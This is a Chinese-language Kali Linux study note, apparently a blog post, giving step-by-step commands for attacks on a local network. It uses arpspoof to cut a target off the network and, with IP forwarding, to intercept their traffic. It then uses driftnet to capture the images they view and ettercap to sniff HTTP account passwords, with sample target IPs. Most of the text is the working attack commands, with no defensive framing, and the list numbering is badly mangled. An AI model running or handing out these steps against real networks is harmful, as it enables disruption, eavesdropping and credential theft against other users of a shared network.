kali的学习笔记篇（二）ARP入门实战篇

时间：2024-10-25 07:37:33

环境：kali2.0

kali-linux-2018.

工具：

arpspoof  ARP断网工具

ettercap ARP欺骗工具

driftnet  图片劫持

 

ARP断网攻击：

    

  1. 

    

    ifconfig //获取网卡信息

    

    2. 

  2. 

    

    fping -asg 192.168.1.1/24 //获取局域网存活主机

    

    3. 

  3. 

    

    arpspoof -i <网卡> -t <目标ip> <目标网关> 
    

    4. 

  4. 

    

    例如  arpspoof -i eth0 -t 192.168.1.190 192.168.1.1

    

    5. 

  5. 

    

     
    

    6.

ARP欺骗,获取对方浏览的web图片

    

  1. 

    

    //开启路由转发
    

    2. 

  2. 

    

    echo 1 >/proc/sys/net/ipv4/ip_forward
    

    3. 

  3. 

    

    //返回1为开启，设置0为关闭
    

    4. 

  4. 

    

    cat /proc/sys/net/ipv4/ip_forward
    

    5. 

  5. 

    

    //注意，<>第二个参数是目标网关，第三个是目标ip
    

    6. 

  6. 

    

    arpspoof -i <网卡> -t <目标网关> <目标ip>
    

    7. 

  7. 

    

    //查看图片
    

    8. 

  8. 

    

    driftnet -i eth0
    

    9.

 

DNS欺骗+流量嗅探http帐号密码

目标ip 192.168.1.149
网关 192.168.1.1

    

  1. 

    

    echo 1 >/proc/sys/net/ipv4/ip_forward //转发

    

    2. 

  2. 

    

    cat /proc/sys/net/ipv4/ip_forward
    

    3. 

  3. 

    

    arpspoof -i <你的网卡> -t <对方网关> <对方ip>
    

    4. 

  4. 

    

    ettercap -Tq -i <你的网卡>
    

    5.

 

相关文章